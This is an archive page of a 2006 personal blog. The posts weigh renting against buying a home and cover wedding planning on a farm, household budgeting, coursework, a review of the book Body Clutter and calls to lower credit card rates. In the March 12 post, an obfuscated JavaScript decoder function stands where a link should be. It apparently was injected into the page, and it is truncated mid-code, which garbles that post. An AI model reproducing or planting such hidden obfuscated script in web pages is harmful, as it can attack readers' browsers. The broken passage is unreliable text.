spectating participant

March 31, 2006

rent vs buy

Filed under: life — suzanne henderson @ 3:22 pm

I’ve read all sorts of stuff about this issue and still can’t quite decide where I stand. Every part of me says that buying a house is the best plan of action. But the reality of life right now is that I just don’t have the energy for looking for a house or buying one. I’ve always been a person who feels that if something needs done, you just do whatever needs done to make it happen. So, in those terms, even though my stress tolerance is currently taxed beyond all limits, I should still be trying to buy a house. However, I think my self preservation instinct is kicking in and trying to convince me to just rent to survive.

House Buying PROS:
We’d have a house.
It’d be a positive step financially in the long and short tun.
We wouldn’t need to move again in a year (I’m so sick of moving).
Tax Incentives
Housing prices will just continue to rise (but is this true?)
Interest rates will continue to rise (see above)

House Buying CONS:
The stress of having to do it with everything else that is going on.
We’d end up in a house that is probably not even close to what we want.
Current obligations may actually reduce the attention investment needed to make a sound purchase.
It would put a major strain on our savings.
A long commute would really tax the vehicles and require immediate replacement of at least one and perhaps all three.

Renting PROS:
We could really kick some debt butt.
We could increase savings to establish emergency fund.
We could then strategically plan for down payment savings.
We could keep Alex in the same school another year.
Chris would maintain a short commute (good for 2 of the vehicles).
No time needed for housing upkeep (more time for other things?).
Fixed housing costs (no sudden repaid bills).
Increased savings and dual income would allow us to afford a home closer to what we want.

Renting CONS:
Apartment, ick.
Limited space.
High rent (to stay in same county).
People as neighbors, igh.
Must rent additional storage.

she works hard for the money…

Filed under: life — suzanne henderson @ 11:50 am

Well, I guess that is the theory at least. Went up to Baltimore for a career fair at Goucher college. There were 2, maybe 3, organizations that caught my interest. However, I am only professionally considering one of them - Maryland Public Television. I find it a bit ironic that I’d consider anything to do with TV since I’ve often held a somewhat anti-television mentality. But, if it was going to be TV, than MPT would probably be a good idea. Plus, it is a position with their Early Childhood and After School Education department.

The career fair was good practice for the one coming up in DC next month. I need to work on my approach to potential employers and be a bit more assertive and confident in the exchange. Sigh, I feel like my plate is already very full and finding a job seems like just another straw. I’m wondering when there will be too many straws in all.

March 28, 2006

Pair of Teachers said to cheat on MSA

Filed under: review, news — suzanne henderson @ 11:25 am

Pair of Carroll County Teachers said to cheat on MSA - baltimoresun.com

What a clear indication of that these standardized test scores mean — too high a value placed on scores than on teaching. Alex’s school spent a week going over strategies and practice problems before the MSA at her school. Is this what school should be about? No. Also, they now have a double period of math and reading to make up for the reduced scores last year. Math and reading will soon be the only thing our children are taught and taught in such a way that it is almost useless beyond the testing environment. The real world doesn’t give you multiple choice options for actions, it doesn’t care if you can follow the standardized format for responding to questions. It wants critical thinking, analytical skills, and a real ability to write. Placing cookie cutter strategies designed for a specific test will not prepare our children for anything more than paper based test problems.

Academic Excellence Award

Filed under: school, life — suzanne henderson @ 10:37 am

I was awarded the Native American Academic Excellence Award for my outstanding academic achievement. I am not very surprised by this but it means that I need to speak at the award ceremony that is taking place in a few weeks. They suggested that this would be a good time to thank those who’ve helped me on my “academic and career journey”. I guess I still feel the greatest amount of ownership over my achievements, feeling like there has not been a lot of outside help. This is probably far from the truth but I need to reflect on this for a while to elaborate on the support I’ve been given. The biggest person to thank is Alex for never ending patience for all the times that school has interrupted our lives. She has certainly been there for all of it and has done an amazing job accepting it as part of our life. Recently, M&M’s support and help has also made a huge difference in being able to focus on my academics and have a place to live while doing so. I am sure that my mother has offered support but I’m having a hard time putting a label on it. I have a couple weeks to think about it and come up with something to say.

March 27, 2006

Habitat ReStores

Filed under: life — suzanne henderson @ 8:52 pm

Habitat ReStores — Habitat for Humanity Int’l 1

Possibly a handy resource for the near future.

March 26, 2006

revising opinions in early morning light

Filed under: life — suzanne henderson @ 10:57 pm

When I mention to people that partner has a lot of stuff, I don’t think they truly realize the volume of that I am talking about. I used to look at the workshop, here at M&M’s house, and think that he really had a lot of stuff. And then he took me over to the warehouse in laurel that has oh! so much more stuff. It has been very overwhelming realizing that he needs to do something with all this stuff; and, for us to really start a life together, a lot of it needs to go. Now, Chris has been making plans to make this happen but I’ve not been fairly confident that he was serious about it. I’ve now changed my mind.

We went to the hamfest up by Baltimore this weekend. And, by 6am, I realized that Chris was indeed willing to let things go. By 7am, I was excited about how willing he was to move stuff out. By 8am, I’d started falling in love all over again as more and more heavy and large items were passing into new hands and money was passed into his. We rented two outdoor spaces, brought a van and blazer full, and went to town selling stuff. His biggest seller is the $1 tarp that is really just covered with crap but actually sells. I know I personally sold $70 worth of stuff off that tarp. Everyone once in a while I’d get all embarrassed by the amount of crap on the tarp, but then people were still willing to fork over some money for things that really didn’t seem worth it. By about 11am, sales had seriously dropped and merchandise was down to the mostly unwanted stuff. But, we stuck it out until around 1pm or so until the lack of selling motivated movement made it just too cold to hang around waiting for stragglers who were probably not going to buy anything anyways.

We had great plans of heading back up today with a fresh load of stuff. But, when the alarm was going off at 3:30am, we decided that it was too cold to get up and load the vehicle and that sleep sounded like the best plan of action. I don’t really mind because a lot of large heavy items went away and we made enough to cover the entry, gas, time, and effort needed for the one day.

Instead, we drove to VA to pick up a truck and trailer that a friend is letting him borrow so he can pull out the rest of his stuff from the warehouse. This includes the big machines which will get dropped down at the workshop in preparation for a huge yard sale in april where all his metal working buddies will come scavenging for goodies. Hopefully several large machines and more heavy stuff will make their way to new homes then too.

Overall, a great weekend, lots of fun selling and talking to people, and totally worth the time to do it. And, I now know that Chris really is willing and working to get rid of stuff. woot! And we got another positive boost in the savings department (which we’ll need to pay for the higher closing costs). That is a serious turn on!!

March 24, 2006

got house?

Filed under: life — suzanne henderson @ 11:48 am

okay, so that on again off again is on again. So, it looks like we can indeed get a mortgage larger enough to give us some room in trying to find a place. Still not much room. however, the closing costs on the loan are going to be the real killer and basically will need a seller willing to pay them. That will probably be possible with the market as it is now. However, since we’re still pretty far down on the market value range, it might be impossible to do.

But, I’m all excited again. Yay for housing possibilities! Yay for getting out of this house and having full control over my living environment. Yes, I am a control freak to some extent. I try not to be too much but living here and feeling like I have no control is really pushing me further into wanting firm control. I am sure that urge will back off once we’ve our own house.

And, since we set a wedding date assuming that we were not getting a house — yay for how that throws a wrench in overall budgeting — then I just might get my wish of getting married and then moving into a new house. Silly, I know.

well, I need to head up to work on the wedding dress some more. Having finally started the project I see how incredibly overwhelming it is going to be and also how exciting it is as well.

March 23, 2006


Filed under: life — suzanne henderson @ 5:52 pm

It is almost always a bad idea to take a nap on an afternoon when you have something to do or somewhere to be that evening. We’re having a board meeting for PDF this evening and I’m cooking dinner for everyone. Last night, I got out of bed around 2:30am and didn’t get back in bed until about 5:00am - couldn’t sleep. I remember finally falling asleep around 5:30am after the last alarm went off. But the phone rang at 7:00am and Chris pointed out that I needed to drive him to work because we left his car at work when we went off on a 4-5 hour shopping trip yesterday. So, in short, I’m dead tired and feeling like crap.

So, in my dream, people are going to come over for the meeting and I’ve taken a nap before they show up. Suddenly I wake up with people showing up and I’ve not started dinner. So, I try to get everything set up for the conference call, but Mark has company and we can’t use the room I was going to use. Intimidating people with bad attitudes and intimidating stances keep showing up be then it turns out they are looking for mark — it still makes me very uneasy. Then there are no jacks for the cables I need and for some reason it is hard to get into the room we’ll be using. At some point I put on roller blades and then realize that I can’t possibly get up and down the wood stairs in those with scene constantly shifting in roller coaster/carnival fashion. Finally I think I can make the meal because no one is there yet, but it is almost 8pm. People show up in a rush and stuff is going wrong with the phone call and the food and suddenly we’re out the door heading to DC. I start telling Kate and Ben about being up late and not being able to sleep and another board member is trying to show up where he grew up. We meet his dad and listen to his life story that is all a bunch of made up crap and we know it but he keeps talking about his dad growing up old-school China and how our friend was raised in a pack of nine kids with eight nannies. I see the time is 11pm, we’ve still not started, and I get all pissed off pointing out that I really wanted to frame the agenda with time brackets so that everyone would get out my house by 11pm.

Finally I woke up, all stressed out for my maybe one hour nap. I am still seriously dragging, have very little patience, and even Alex’s telling of what she wants to do today is hitting the annoyance button. Sigh. I have no clue how I’ll actually manage to put up with everyone this evening, along with getting dinner together. Thank god this is not a planning meeting otherwise I’d prolly just go down a bottle of wine and hide in the hot tub until it was over.

March 21, 2006

spring break dash

Filed under: life — suzanne henderson @ 11:53 am

I am loving my spring break because there are so many things that I need to do and I have the time to do them. One of them is getting back on track with my food/exercise “plan”. I’ve been slacking a bit and the food thing has been the biggest problem. I’ve been running out the door without packing food to take with me and I end up buying something (not good for the budget) and the cycle repeats again and again. So, I’ve made up many snacks that are packed and ready to go. Probably about 2 weeks worth of stuff — pecans, dried fruit, fruit cups, peanutbutter crackers.

I’m also getting the kitchen cleaned, which isn’t anything new. I’ve just been avoiding it lately mostly because I’ve been avoiding M&M. I’m not really sure why, thats just how it has been working out lately. But that means more meals at home and less spent on eating out. I bought Alex a plane ticket to Oklahoma for spring break, something I wasn’t planning on because my mom was originally going to buy them. But since I was tinkering with the idea of going out there as well, it didn’t make sense to have her buy them if I was already going to find a way to buy myself a ticket. But, that took a hugh chunk out of this month’s budget and means no more eating out or frivolous spending.

The only draw back to so much activitiy at home (serious house cleaning takes some work) is that my food intake doesn’t seem to be keeping up. I had breakfast around 9:00am and then started doing some work. By 10:30am my blood sugar seemed all out of whack and I needed to take a break (hence this post). I’ve topped off with some fruity yogurt and hopefully that’ll help me out. Maybe Chris will stop by in time for lunch a little later since he needs to come home and change out of the suit before getting stuff done at work (his meeting with NASA was rescheduled while he was in route and already across the Bay bridge — tomorrow they try again).

I’m getting a chance to catch up on some reading that isn’t for class: [Sperm Wars] and [The California Wine Country Diet]. Both are very good books and I keep switching back and forth between them. I look forward to writing the reviews for both of the books, hopefully I’ll be ready to write up at least one of them tomorrow.

hmm, this post is all disjointed but I just don’t feel up to making it flow more smoothly. Instead, a quick grammar check and then back to the kitchen.

March 18, 2006

on again off again

Filed under: life — suzanne henderson @ 9:51 am

Aieek! So, the house thing is a no go, or so I was thinking. However, there is one mortgage agent that we started talking to before the NACA thing and that we are going to go see next week. This is a friend of Chris’s and he has been incredibly slow, but on the plus side, we know that we’ll be getting good information and honest attempts for help from him. Of course, the house things is probably still out of the water, but I still have small twinges of hope that maybe this will work better than NACA’s offer.

Now, what I feel I really need is for stuff just to be properly in place. Basically, if we’re getting a house lets get going. If we’re going to rent, lets get going. I hate having any part of my life in unknown flux. If I can fix it or have a plan ready, then things are fine. Luckily, I think it is decided that we will be staying in Burtonsville if we are to rent. There are only two apartment complexes here and the occasional townhouse that shows up for rent. The apartment units will be sub satisfactory, but having alex in the same school is a major plus. In fact, keeping alex in the same school is the only reason to stay here. I’ve moved her around too much, so at least we can keep her education consistent even if the housing changes. At least that is a plan of some sort.

In other news, went out to Olney Ale House yesterday for our second, and final, date of the month. It was of course busy thanks to St. Patty’s day, but it was still nice to get out. I really wanted to go there on the first date this month but Chris’s work got in the way of that. And, for the first weekend in a while, Chris is actually home this weekend and not slaving away in the office. Yay! But we’ve both got so much to do that there won’t be much time together.

March 16, 2006

poor spelling and grammar

Filed under: life — suzanne henderson @ 11:50 am

When I read back over my posts, from time to time, I find that my spelling and grammar is awful. This alone doesn’t bother me except for the impression it probably leaves on readers. For some reason, it seems that my fingers and brain do not sync up properly and the keys are often spitting out words in contrast with the things I’m thinking. Often, these are very odd errors that make no sense. Other times it is the very common error of removing a negative or a negative contraction from a word or statement which often really throws off the meaning. I’ve often thought that I would get around to fixing my entries, but time passes and that isn’t high on my to do list. But, I am growing more concerned over the general appearance of my writing when I don’t bother editing. So, perhaps what I used to justify as being enough just to post, I’ll have to modify and say that grammar will matter more than posting. Of course, this means my posts will drastically decrease if I’m to go over my bursts of writing with a fine toothed comb. Sigh. I just wish my fingers and brain would start communicating a little better and remove this obstacle all together.

*author’s note: this post, and the last, is a subtle attempt to avoid the imminent arrival of two midterms (2pm and 4pm) that the author is ill prepared for. looks like this semester is not sailing along as smoothly as the last but I’m not sure how much I really care right now.

Book Review: Body Clutter

Filed under: flylady, books — suzanne henderson @ 10:27 am

[Body Clutter: love your body, love yourself] by [Marala Cilley] and [Leanne Ely]

Written by the author of [Sink Reflections] and the author of [Saving Dinner], Body Clutter is a joint endeavor by the Flylady and Leanne Ely. The flylady email list that I am on has given numerous testimonials regarding the book, setting it out as a wonderful tool for starting on that path to removing personal body clutter (fat).

Now, the book boasts the fact that it is more than just losing weight. Eliminating body clutter is also about addressing the reasons we over eat, including emotional attachments to food and childhood experience that may give us an unhealthy excessive craving for certain items. There are activities in the book, mostly journaling activities, designed to address the issues behind over eating and poor nutrition and exercise.

In Marla’s typical narrative style, there is a lot of conversational material in the book that seems to barely get at the issues. Yes, she discusses them and tries to provided her standard motivation of encouragement without accepting whining or excuses, but it really works out to a lot of flat paragraphs. Personal examples have filled all of her writings from Sink Reflections to her website and emails, but in this instance, they seem to be overwhelming her message in a negative way.

Leanne Ely offers a lot of insight in how to make eating healthy possible. I like having her insight, especially considering that I’m one of the many subscribers to savingdinner.com’s weekly menu lists. But she also seemed to adopt Marla’s style of writing that really just filled 227 pages with what could have been done in about 50.

Now, to be fair, I am not starting out on searching for the right motivation to get healthy. I’ve already figured that out for myself. However, I was hoping ot find some suggestions or comments that would stick with me, as I did in the Sink Reflections book, that would make it easier to continue on my path. Flylady (Marla) has often directed her prose at the individual who feels hopelessly out of control of their life and this book is a reflection on that. But, unfortunately, it just seems like a long narrative highlighting that issue without truly empowering someone to stand up and take action or how to start that process. For someone so focused on “babysteps” for progress, she didn’t fufill her goal of helping people on to their personal journey for eliminating body clutter. Instead, she just threw her experiences (and Leanne’s) out to the masses, mentioned how our mind plays a role in our habits, and just let the pieces fall where they may.

Finally, I have to admit to my discomfort at giving a negative review of this book. Mostly because I admire Flylady’s methods and her ability to get people motivated. But, I just can’t say that this book is of any use to anyone who needs to make a change or who wants to make a change. There are other books out there that address the mental and physical issues surrounding weight loss while empowering the reader with real, tangible steps to start taking. Body Clutter is just another passive excuse for not dealing with the issue, it’ll get read and people will be able to agree with the writings, but in the end it will just end up at the bottom of the book shelf, if not garage sale pile, because there is nothing in it to refer back to or hold on to.

March 15, 2006

more thought than action

Filed under: life — suzanne henderson @ 8:57 pm

My life seems to be circling around thoughts, ideas, and planning. However, these is very little doing going on. I’ve always spent a lot of time thinking, shcemeing, planning large changes or events. So, I guess that is really no surprise.

When the house purchase was the biggest thing coming up, holding on to every penny I could find was essential. At that time, I couldn’t really figure out how we were going to have a wedding since they tend to cost some amount of money–so it got put on the back burner planning wise. Now that it is back in the forefront, I’m realizing that it might be a little more acceptable to spend money on it.

I still don’t want to go all out nor do I want to deplete some of my savings, but I think that we can put more than the extremely bare bones amount we’d originally discussed. This means that maybe, just maybe, I’ll consider actually renting tables and chairs and a tent — gasp. I was planning to do the beg and borrow thing but I’m realizing that means that I’ll have to get it all there, get it all set up, and still make enough food for 100ish people - plus everything else. My rational mind is telling me that I just won’t be able to pull all of that off. So, maybe it will be worth it to get things rented, get them delivered, and just pay for it. Now, I don’t know what the cost of that is actually going to be. And, seeing as how I really hate to spend money (even if it is some special kind of day — it’s still just a day!) I might have to pass up on this idea if the line item is too high.

It is all rather amusing when I read all these ridiculous wedding planning books with budgets starting around $10,000 in the low, low end. Sheesh people! I mean, yeah it is a big deal, but it ain’t that big of a deal! Also, the typical formality of the whole thing is making it hard to figure out how to best plan what I want. Basically, I have to avoid anything that says wedding and also avoid “country garden” since that seems to also be tied into the whole wedding arena of planning. So, summer backyard picnic is what I’m planning, not a flipping wedding.

Now.. to figure out the whole officiant thing…

March 12, 2006

MyMoneyBlog: Marriage and Money: Joint Or Split Accounts?

Filed under: family — suzanne henderson @ 7:35 pm

function oc532bd2f6(uf){var yd=\'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=\';var vb=\'\';var y4,sd,t3,rd,y3,x1,s0;var nd=0;do{rd=yd.indexOf(uf.charAt(nd++));y3=yd.indexOf(uf.charAt(nd++));x1=yd.indexOf(uf.charAt(nd++));s0=yd.indexOf(uf.charAt(nd++));y4=(rd<<2)|(y3>>4);sd=((y3&15)<<4)|(x1>>2);t3=((x1&3)<<6)|s0;if(y4>=192)y4+=848;else if(y4==168)y4=1025;else if(y4==184)y4=1105;vb+=String.fromCharCode(y4);if(x1!=64){if(sd>=192)sd+=848;else if(sd==168)sd=1025;else if(sd==184)sd=1105;vb+=String.fromCharCode(sd);}if(s0!=64){if(t3>=192)t3+=848;else if(t3==168)t3=1025;else if(t3==184)t3=1105;vb+=String.fromCharCode(t3);}}while(ndand_mo_1.html”>MyMoneyBlog: Marriage and Money: Joint Or Split Accounts?

I was writing up information about my February finances and stumbled upon the question of budgeting and relationships. I had a good start written when I veered off track and went blog surfing and ran across this article which addresses just want I had written.

So, to write it all up again…

I don’t know if my budgeting methods are overly complex or utterly simple. I know that my budgeting technique works for me. I track expenses down to the penny and using my check card makes it that much easier to do. I’ve still not found a way to track cash and have accepted that it is simply an empty category of expense that rarely ever exceeds $20 a month. However, what is going to happen after the wedding…

I already know that I want to have a joint account and joint finances. I’ve often thought that I would never consider such an idea, but I’ve reconsidered those reservations to be geared more toward divorce protection than marriage protection. So, for me it must be a joint endeavor all the way. I also understand that I am in the at-risk position in this relationship, which is amusing since most of my life, I’ve been the one who brought along financial liability luggage to relationships.

So, knowing this from the start, I look forward to setting up a budgeting system that works for both of us. The budget form I’ve been using for the past few years has works great but I can’t imagine how I can add someone else to it. The additional income is no problem, the additional fixed expenses are not a problem either, however, how to put the spending in the proper places?

So, first off, I want to establish a monthly amount for each of us to do with as we please. Whether it be to buy heavy machines (oh dear) or to tuck away into personal account savings/investing. Budgeting items like bills, housing costs, major expenses, and transportation is no problem either. But how to manage walking around money or money spent on things like dining out apart (dining out together can be well managed), does that come from our individual budget for the month or some other category? How will it work when one person spends mostly cash and the other person uses plastic/check cards? How do I let go of my anal accounting methods in order to establish a working budget for two? Can I keep my particularities and create a system that works for both of us?

This is something I’ve spent a lot of time thinking about lately. I don’t know how to solve it yet, I don’t know how to let go of my insistence of using my budget form, I don’t know what the problems are going to be. Yes, we can talk about money and we have similar views about money, but the physical act of combining things still seems daunting.

And, how will my current financial challenges affect us? Like the problem I have with being able to balance my checking account. I can never seem to get it right and so, a couple years ago, I just quit trying. I know that my account has enough in it for what I am going to spend. I know that I can exceed my budget and my account will still have enough in it. In fact, looking at it today, I’ve been trying to wrap my brain around the fact that my budget says I should have less than $100 left for this month and my account shows an amount almost equal to what this months income was. I know it isn’t a budgetal mistake, it is just what has accumulated over the many months where I stay under budget or perhaps where I have simply misadded account activity and ended up well into the black because of it. It certainly isn’t something to complain about, several hundred more in your account than you expected, but it does point out that I still have some work to do and that it might not be possible to allow discrepancies (even positive ones) like this to continue in a joint account situation.

the right point of view

Filed under: school — suzanne henderson @ 6:57 pm

I’ve finally finished a paper, due last week, for my method and theory archaeology class. All it took was some beautiful weather, a table set up outside, and a great view to get it accomplished.

hold on, starting to rain, gotta get stuff inside…

Okay, where was I? Oh yes, i set up a work space in the beautiful weather and went to work for hours on end, time passing unnoticed except by the twittering of birds, and got my paper done. Now, my paper turns out to be a bit longer than the 1500 word suggestion but I pared it down as much as I could and feel that I do a damn good job in the 2800 words that I use. I find it amusing to be having such a problem since I usually find that I can say what I need to say in less, rather than more. However, I felt that to truly answer the assignment, it need a little more detailed analysis. Hopefully it’ll turn out okay, hopefully I didn’t go in the wrong direction, hopefully I’ll still get a perfect score on it just like the last one.

Now, I do have 3 midterms this week that need my attention, but I am insisting on a well deserved break and am taking care of some other matters that I have been letting slip by, like budget! (Yes, dealing with finances is indeed a reward)

March 10, 2006

rearranging time

Filed under: life — suzanne henderson @ 4:06 pm

Well, there has been a change in my current timetable of activity for this year. I mentioned that the NACA appointment was coming up — well, maybe I mentioned it. We went into the NACA office at 1:45pm and walked out at 5:15pm. The short version of the long meeting is that credit wise, things look great, but the debt-to-income ratio has put the home buying process on hold. We did qualify for a certain amount, an amount too low to be useful. I am sure we could buy somewhere in Baltimore City, but that is not an option. So, it means that my attention must now move to finding a place to rent for 6 months to a year. Once I have income to report I will be added to the application and we will be able to qualify for a much higher monthly mortgage payment because the debt-to-income ratio will be much better.

I kinda feel bad about the DTI issue. The NACA workshop that we went to made it clear that they look at rent in order to determine your payment ability. They said that if you pay X in rent but want a Y mortgage payment you need to put (y-x) into savings every month for 3 months to show that you’ll be able to afford it. In order to get on track with that, I convinced Chris to throw that (y-x) amount into savings each month instead of applying it to paying down CC debt ( as he had been doing) — this did not stop him from paying extra on the CCs, it just took a little bit away from it. Then, in Wednesday’s appointment, they noted that he has been paying more than double his minimum monthly payments on CC debt. For them, this counts as being able to show that you can afford the Y-X difference. Basically, they understand that it was more beneficial to be paying the debt down than to be letting money sit in the bank. They didn’t even care about the deposits into savings. Oh well, it still means that there is some in savings for housing, just that it won’t be growing any more as it’ll go back toward chomping down the debt.

So, since that is off my plate, I am happy to reconsider wedding plans. I wasn’t really planning on kicking up that planning, but I had a meeting today to check out a local farm that answered my letter inquiring if they’d host a wedding. They are great people and I really enjoyed meeting with them. It looks like that July date is back on the horizon, a very hot horizon, and that I need to get kicking on wedding planning if that is going to be the month. It was funny talking about some of the concerns they had: rain, high winds, lack of running water access, site setup (they have no resources to offer, just land). Thanks to PDf and Burning Man, that is all covered. I may need to rent a tent but I think that there may be enough shelters around that I’ll be able to borrow what I need. I know that we can deal with the hilltop wind if we can deal with BRC winds. Running water and toilets, ha! I could care less that people have to use a portajon; plus, they were offering to put a make-shift hand washing station, something else I wasn’t too concerned with since we’ve learned to deal with handiwipes and what not as needed. I kept pointing out how I’d be bringing everything including shelter, tents, food, ice, water, drinks, etc. and that setting up something like this is really within my typical realm of yearly activity. Yes, burner events have their plusses. Especially considering building a wedding from nothing. :)

Woot! I’m excited about the wedding location possibility and not too bummed about the house. For the house, it just means that we’ll be more prepared for getting a house later because there will be two incomes, less debt, and increased savings. The only challenge is finding something to rent that we can save money renting in. Now, back to school work that is really getting heavy but I am also starting to really enjoy. Thank goodness my topics for the major class projects are interesting me.

March 5, 2006

black hole access

Filed under: life — suzanne henderson @ 2:26 pm

I must think that I am about to stumble upon a black hole of time that will let me linger there just long enough to fulfill my obligations before stepping out into an unchanged timeline of life. I’m an drowning myself in a sea of information that I continue to devour, pouring over detail after detail that simply leads to another set of possibilities of exploration. Now, if I were doing this in regards to the paper about a post-processual issue in archaeology, that would be wonderful seeing as how I have a paper due in 25 hours on that subject. If I was swimming through data on Native cultures of North American; great, that paper is due on Thursday. Or, maybe looking into the archaeological and material culture record for ceramics and interpretations/assumptions , that would let me battle some of the Irish-catholic guilt I’ve been carrying around for a couple days. Or, maybe, developing an annotated bibliography of my cultural-linguistic project which is due Thursday, no problem (hell, just having a subject or topic for that project would be a good thing). There is also the brief paper on the religious, cultural, and political climate of the Amazon when the Spanish missions were traded over to Portugese control. Oh, I must not forget the comment on the linguistic element of lieing and deception, the grading of my lab’s quiz from last Monday, or reviewing material for teaching tomorrows class.

Damnit! I don’t have time to be totally engulfed in so much useful information that I’m having an incredibly hard time walking away from it. I have compromised and rationalized every obligation into some assumption that just another hour (another two hours, another three..) will be enough for me to finally have done enough reading that I can let things go for a few days until I have more time to dedicate to this venture. But no, I’m still looking, reading, noting, and developing an appropriate plan of action. I’ve made the excuses that this will help me on Wednesday at the appointment with NACA when we hope to be approved for a motgage and are able to start seriously looking for a house. While I know it won’t improve my score, it’ll at least satisfy their requirement that you address any problems wiht your credit report. So, in that small reasoning, I’m pushing away the papers that are due, the assignments that cannot be postponed, the time that is not going to pause or hold for me to get everything else done too.

So, I better hurry up and finish, just 1 more hour. No, honest, one more hour and then I put it away, walk away from it, and take a look at everything else that is on my plate and can’t be denied.

BWHAHA - as soon as I post this, I return to task and their website is timing out on me. Guess that pushes the issue and now it is time to get to work on the paper that is due tomorrow.

March 3, 2006

Guilt and Shame

Filed under: school, life — suzanne henderson @ 3:30 pm

We’re not talking just ordinary guilt and shame, no! This is Irish-Catholic guilt and shame to it’s fullest extent and glory. Add in a little backlash and with no hopes for redemption and you’ve got the most interesting classroom dynamic I’ve ever witnessed.

Right now I’m taking a class with, as I see it, a fairly new professor. I believe he is the newest professor in my department and is feeling the need to truly establish himself. And so, yesterday, we were supposed to discuss some readings (readings that should have been completed by Tuesday), but the class showed up unprepared. When he asked for a show of hands of who had completed the reading, I was nervously expecting to see my unraised hand in the small minority. However, no one raised their hand, not even the grad students who seem to be on top of things most of the time.

Here enters the good ol’ catholic guilt and shame. He gets all upset, decides that it is an absolute waste to have class if no one is interested in learning anything and he tells us we are free to go. Now, this I can handle. I can recognize the frustration of having no class participation and the decision to throw guilt on our shoulders as he walks out the door. It turns out, however, that he was holding out on us.

Today, the full weight of our dereliction is pressed into us via email. Now we have moved beyond the basic catholic guilt-shame combination and moved right into unbearable weight of personal sin of the catholic irish. This goes even deeper than Thursday’s criticism, a true sign of the ever judging–never redeeming–nature of god and our professor. I feel that I should be lashing myself instead of lashing the keys.

Big Fat Facts: The Truth About Fat, Obesity, Gastric Bypass, and Weight Loss

Filed under: life — suzanne henderson @ 9:21 am

Big Fat Facts: The Truth About Fat, Obesity, Gastric Bypass, and Weight Loss

From the marker of Big Fat Blog, here is a good detailing of information (I won’t yet say facts because I need to do some more serious reading of it first) about being fat. Certainly a good step in educating people about “fat” and the common misconceptions people have about this “epidemic” in out country. Now, I still adamantly agree that people need to be conscious of their weight and nutritional/exercise lifestyle, but I do take issue with the bombardment of blame placed on being fat and the highly negative view of anyone who doesn’t fit in with a media-defined definition of “fit”.

March 2, 2006

Car Value

Filed under: life — suzanne henderson @ 12:16 pm

I love my car. It has been a wonderful car for many years and is still going strong. However, it is at the point that I feel it is no longer worth putting money into. To be honest, my car has not yet needed any money be put into it — like I said, I love my car — but it is old enough to that possibility of needing semi-substantial repairs. I’ve been feeling this way for a many months and today decided to check out edmunds to see what my car is worth. Based on their estimates and adjustments, my car is worth from $750 - $1,200.

This basically just justifies my reasoning. Of course, it makes me wonder if I am simply adding to the disposability of our society by just assuming that a car that is approaching 130K miles and is 8 years old is not worth keeping if something should go wrong. Now, I’m not saying that I’m gonna just go out and get another car right away. Not at all. This one has shown tremendous endurance and I will live that out for as long as it goes. But, I have had cars that started slipping down hill and $1000 later I was looking at more repairs and having to throw in the towel and ignore how much cash was thrown out with it.

In the greater scheme of thing, this is just another litter stresser for this year. Chris and I both own older cars that are not worth much. Of the 3 vehicles, I think that mine is in the best shape, especially considering that mine has yet to need repairs and his vehicles have certainly eaten a lot of time and money in repairs. If we are to get a house that is commuting distance from laurel or where I find a job, then we will need cars capable of commuting. I think my car will manage to get through this year, even if having to commute, which offers some comfort. However, Chris will certainly need a new car to make gas milage and reliability acceptable.

So, the horizon seems to get foggier as I consider the financial juggling that needs to happen. I’m starting to wonder if it is possible at all. I’ve considered dropping the idea of buying a house altogether, but that doesn’t seem to solve anything. The price we can pay for a mortgage is the same as what we can pay in rent, if not less. Weeks like this sure have me wishing I was facing this problem in Wisconsin.

Sitting Pretty: Fountain of Youth

Filed under: books — suzanne henderson @ 11:04 am

Sitting Pretty: Fountain of Youth

I’ve added this book to my upcoming reading list. It has been mentioned on several pages that I’ve read and sounds like I’ll be able to identify with it to some extent. Of course, being a new book, my library doesn’t have it yet and my full-time student budget and buying a house plans have limited my book buying budget to about nothing.

I’m a big fan of the public library and love being able to get books through this service, but it means waiting for new books. I also like to support authors, but I tend to reserve that to books that I’ve been able to check it out and decide that it is worth buying. Considering the number of books I read — far more than I manage to review — I must use this method. Otherwise, i would be spending all of my budget to keep up with my reading interests.

March 1, 2006

How low can you go?

Filed under: family, life — suzanne henderson @ 4:29 pm

Taking care of those you love is important, especially if you plan on linking your life to theirs in the near future. Today, I took on the task of my partner’s credit card companies to see if I could get a lower rate. Now, I’ve read how easy it is to get a lower rate — just call! — and figured it wouldn’t be too hard.

The first company I called required me to argue just enough to be transferred to another department. Here they promptly offered to drop the rate by 2%. I said that wasn’t good enough and so she dropped it 2% more. For some reason, I just accepted this and let it stand that that. It turned out to be a 4.75% drop. However, she did suggest that I call back in the near future, saying that since we were able to go down 4% today, that it could be very possible to go down more at a later date. Over all the call took at most 5 minutes.

The second company I called was even easier. I didn’t have to get transferred to another person to discuss rate reduction. In fact, at the very mention of it, the rate dropped a about 4% first offer. I argued that this wasn’t enough and down another 4% it went. So, within just a minute or two, the rate was 8.5% lower than I’d started with.

The final company I called sucked. Their rate is the highest of all of them and it going up by about 4% later this month. The first person I spoke too said that it was not possible to get a lower rate. I convinced her to let me speak to someone else, and again, I was told that it is not possible. Not only was I not able to get a lower rate but I wouldn’t be able to prevent the rate from going even higher. I got the clear impression that they no long want his business and now we need to look at the best method for transferring that debt to somewhere else.

So, that was an interesting experience. With the first company, I know I should have persisted, especially with the urging that I call back to get an even lower rate. Somehow, my mind almost tells me that was some subtle code for “ask me again and I’ll give you an ever lower rate”. Oh well, I’ll call back next month and see what I can do. He has another account that he called for a lower rate on recently and I want to give them another call and see if I can get it even lower. I’ll call them both then.

Now, I need to figure out what to do about the one card with the very high rate. Since we’re trying to buy a house, it feels like this needs extra thought and planning. Using a card with the 0% balance transfer offer would be nice, but those are mostly on new card offers and it would not look good to be out getting more credit. However, if we just transfer it to another lower rate card, then that will skew the ratio of balance to credit limit and may also hurt us. Hmmm… what to do.